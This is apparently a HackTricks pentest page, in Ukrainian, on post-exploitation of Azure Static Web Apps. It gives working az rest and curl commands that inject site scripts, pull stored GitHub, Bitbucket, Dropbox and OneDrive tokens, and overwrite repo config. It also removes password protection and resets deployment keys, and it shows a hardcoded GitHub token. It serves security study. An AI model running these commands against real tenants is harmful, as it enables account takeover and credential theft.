# Az - Static Web Apps Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Azure Static Web Apps Для отримання додаткової інформації про цю службу перегляньте: {{#ref}} ../az-services/az-static-web-apps.md {{#endref}} ### Microsoft.Web/staticSites/snippets/write Можливо змусити статичну веб-сторінку завантажувати довільний HTML-код, створивши фрагмент. Це може дозволити зловмиснику впровадити JS-код у веб-додаток і вкрасти чутливу інформацію, таку як облікові дані або мнемонічні ключі (в гаманцях web3). Наступна команда створює фрагмент, який завжди буде завантажуватися веб-додатком:: ```bash az rest \ --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ --headers "Content-Type=application/json" \ --body '{ "properties": { "name": "supersnippet", "location": "Body", "applicableEnvironmentsMode": "AllEnvironments", "content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", "environments": [], "insertBottom": false } }' ``` ### Читання налаштованих облікових даних третьої сторони Як пояснено в розділі App Service: {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} Запустивши наступну команду, можна **прочитати облікові дані третьої сторони**, налаштовані в поточному обліковому записі. Зверніть увагу, що якщо, наприклад, деякі облікові дані Github налаштовані в іншому користувачеві, ви не зможете отримати токен з іншого. ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive. Ось кілька прикладів команд для перевірки токенів: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ -H "Accept: application/vnd.github.v3+json" \ https://api.github.com/user/repos # Bitbucket – List Repositories curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://api.bitbucket.org/2.0/repositories # Dropbox – List Files in Root Folder curl -X POST https://api.dropboxapi.com/2/files/list_folder \ -H "Authorization: Bearer " \ -H "Content-Type: application/json" \ --data '{"path": ""}' # OneDrive – List Files in Root Folder curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` ### Перезаписати файл - Перезаписати маршрути, HTML, JS... Можливо **перезаписати файл у репозиторії Github**, що містить додаток через Azure, маючи **токен Github**, надіславши запит, подібний до наступного, який вказуватиме шлях до файлу для перезапису, вміст файлу та повідомлення про коміт. Це може бути використано зловмисниками для того, щоб в основному **змінити вміст веб-додатку** для надання шкідливого контенту (викрадення облікових даних, мнемонічних ключів...) або просто для **перенаправлення певних шляхів** на свої власні сервери, перезаписуючи файл `staticwebapp.config.json`. > [!WARNING] > Зверніть увагу, що якщо зловмисник зможе скомпрометувати репозиторій Github будь-яким чином, він також зможе перезаписати файл безпосередньо з Github. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ -d '{ "commit": { "message": "Update static web app route configuration", "branchName": "main", "committer": { "name": "Azure App Service", "email": "donotreply@microsoft.com" }, "contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", "filePath": "staticwebapp.config.json", "message": "Update static web app route configuration", "repoName": "carlospolop/my-first-static-web-app", "sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" }, "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" }' ``` ### Microsoft.Web/staticSites/config/write З цією дозволом можливо **змінити пароль**, що захищає статичний веб-додаток, або навіть зняти захист з кожного середовища, надіславши запит, подібний до наступного: ```bash # Change password az rest --method put \ --url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ --headers 'Content-Type=application/json' \ --body '{ "name": "basicAuth", "type": "Microsoft.Web/staticSites/basicAuth", "properties": { "password": "SuperPassword123.", "secretUrl": "", "applicableEnvironmentsMode": "AllEnvironments" } }' # Remove the need of a password az rest --method put \ --url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ --headers 'Content-Type=application/json' \ --body '{ "name": "basicAuth", "type": "Microsoft.Web/staticSites/basicAuth", "properties": { "secretUrl": "", "applicableEnvironmentsMode": "SpecifiedEnvironments", "secretState": "None" } }' ``` ### Microsoft.Web/staticSites/listSecrets/action Ця дозволяє отримати **токен ключа API для розгортання** статичного додатку. Цей токен дозволяє розгортати додаток. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` Тоді, щоб оновити додаток, ви можете виконати наступну команду. Зверніть увагу, що ця команда була отримана, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це те, що Azure встановив за замовчуванням. Тому зображення та параметри можуть змінитися в майбутньому. 1. Завантажте репозиторій [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) і виконайте `cd react-basic`. 2. Змініть код, який ви хочете розгорнути 3. Розгорніть його, виконавши (не забудьте змінити ``): ```bash docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` ### Microsoft.Web/staticSites/write З цією дозволом можливо **змінити джерело статичного веб-додатку на інший репозиторій Github**, однак, він не буде автоматично наданий, оскільки це потрібно робити з Github Action, зазвичай з токеном, який авторизував дію, оскільки цей токен не оновлюється автоматично в секретах Githb репозиторію (він просто додається автоматично, коли додаток створюється). ```bash az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main ``` ### Microsoft.Web/staticSites/resetapikey/action З цією дозволом можливо **скинути API-ключ статичного веб-додатку**, потенційно викликавши DoS-атаки на робочі процеси, які автоматично розгортають додаток. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` {{#include ../../../banners/hacktricks-training.md}}